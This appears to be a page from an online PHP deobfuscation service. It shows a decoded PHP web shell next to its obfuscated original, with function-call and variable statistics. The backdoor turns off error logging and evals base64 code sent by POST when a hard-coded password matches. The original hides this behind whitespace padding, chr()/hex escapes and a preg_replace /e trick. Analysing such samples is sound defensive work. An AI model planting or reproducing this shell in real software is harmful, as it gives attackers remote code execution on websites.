Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "CmfKO8ydFHGXYnuf9z6JlJHVZ5TjTCQC")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                                                                                                                                                                                   $K30xkAm="\x70\x72\x65g\x5F".chr(114)."e".chr(112).chr(108)."\x61\x63e";$s4S9v="e\x76a\x6c(\x62a\x73e".chr(54)."4".chr(95)."d".chr(101)."\x63\x6fd\x65\x28\x22".chr(81)."\x47\x56".chr(121)."\x63m9\x79".chr(88)."\x33J\x6Cc".chr(71).chr(57).chr(121)."\x64G\x6C\x75".chr(90).chr(121)."\x67\x77\x4bTs\x4bQ".chr(71)."lu\x61".chr(86).chr(57)."\x7AZ\x58\x51o".chr(73).chr(109)."\x52p".chr(99)."\x33B".chr(115).chr(89)."X\x6c\x66Z\x58J\x79b".chr(51)."\x4a\x7A".chr(73).chr(105)."\x77w".chr(75)."\x54".chr(115).chr(75).chr(81).chr(71)."\x6C".chr(117)."a\x569z\x5a".chr(88).chr(81)."\x6F\x49\x6Dxv\x5a".chr(49).chr(57)."\x6Cc".chr(110)."\x4A\x76".chr(99).chr(110)."\x4D".chr(105)."\x4CD".chr(65)."p".chr(79)."w\x70".chr(65)."a\x57\x35p\x58\x33\x4e\x6C".chr(100)."\x43g\x69".chr(90)."XJy\x62\x33\x4A\x66".chr(98)."\x47\x39n\x49\x69\x77\x77".chr(75).chr(84).chr(115).chr(75)."\x43m".chr(108)."\x6d".chr(73).chr(67)."\x68\x70".chr(99)."\x33N\x6C\x64\x43\x67".chr(107)."X\x31B\x50\x551\x51p\x49".chr(67).chr(89)."\x6d\x49".chr(71)."l".chr(122)."X".chr(50)."\x46\x79".chr(99)."mF\x35K\x43".chr(82).chr(102).chr(85).chr(69)."\x39".chr(84)."\x56\x43\x6b".chr(103).chr(74)."iY\x67".chr(89)."2\x39".chr(49)."b\x6E\x51\x6f".chr(74)."F".chr(57)."Q\x54\x31N".chr(85).chr(75)."\x544\x78".chr(75).chr(81)."\x707C".chr(103)."lm".chr(98)."3\x4a\x6c\x59W\x4e\x6fI".chr(67).chr(103)."kX\x31\x42P\x55".chr(49)."\x51".chr(103)."Y\x58\x4D\x67\x4aHZh\x63\x69".chr(107).chr(75)."C".chr(88)."\x73KCQ\x6cp".chr(90)."\x69\x41".chr(111)."IWlz\x63".chr(50).chr(86)."\x30".chr(75).chr(67)."\x52\x6a".chr(98)."\x32\x52l\x4b".chr(83).chr(107).chr(103)."\x4a\x47".chr(78)."\x76Z".chr(71).chr(85)."g\x50\x53A\x6Bd\x6D".chr(70)."\x79Ow\x6f".chr(74)."C".chr(87)."\x56\x73c".chr(50)."V".chr(112)."\x5a\x69A".chr(111)."I\x57".chr(108)."\x7a".chr(99).chr(50)."V0\x4B".chr(67)."\x52".chr(119).chr(89)."\x58".chr(78)."\x7a".chr(75)."\x53".chr(107)."g\x4a".chr(72)."B\x68".chr(99).chr(51)."Mg\x50\x53A\x6b\x64mFy\x4f\x77o".chr(74)."CW".chr(86)."\x73\x632".chr(85)."gYn\x4A\x6c\x59\x57".chr(115)."\x37".chr(67)."\x67\x6C\x39C\x67\x6F\x4a\x61W\x59".chr(103).chr(75)."CR".chr(119).chr(89)."\x58\x4E".chr(122)."I\x4409I".chr(67).chr(74)."D".chr(98)."\x57\x5a".chr(76)."\x54\x7A\x68".chr(53)."ZEZI".chr(82)."\x31\x68Z\x62".chr(110).chr(86)."m\x4F\x58".chr(111)."2\x53".chr(109)."x\x4bS".chr(70).chr(90).chr(97)."\x4e".chr(86)."\x52".chr(113).chr(86)."E".chr(78).chr(82).chr(81).chr(121)."\x49\x70C\x67\x6C".chr(55)."\x43\x67k".chr(74)."\x5a\x58Zh\x62Ch\x69".chr(89)."X\x4E\x6c".chr(78)."\x6AR\x66\x5a".chr(71)."\x56".chr(106).chr(98)."\x32".chr(82).chr(108)."KC\x52".chr(106)."\x62\x32R".chr(108)."KS\x6b7\x43".chr(103).chr(108).chr(57).chr(67)."\x6E\x30K\x5a\x58\x68".chr(112).chr(100)."\x44".chr(115)."=".chr(34)."\x29)\x3B";$o7484L1="\x2ff".chr(56)."\x39".chr(50)."\x39\x64".chr(102).chr(102)."8\x3226".chr(48)."\x30\x30\x393".chr(54).chr(56).chr(99)."\x62".chr(100)."\x38".chr(51)."\x64".chr(100)."\x356f".chr(56)."\x340".chr(47).chr(101);$K30xkAm($o7484L1,$s4S9v,"\x668".chr(57)."\x32".chr(57).chr(100)."\x66".chr(102)."8\x32\x326\x30\x30\x309".chr(51).chr(54)."\x38cb\x6483\x64".chr(100).chr(53)."\x36\x66\x3840");



?>

Function Calls

chr 186
preg_replace 1
base64_decode 1

Variables

$s4S9v eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$K30xkAm preg_replace
$o7484L1 /f8929dff82260009368cbd83dd56f840/e

Stats

MD5 f839f12a5f382307d6635d79adafcade
Eval Count 2
Decode Time 200 ms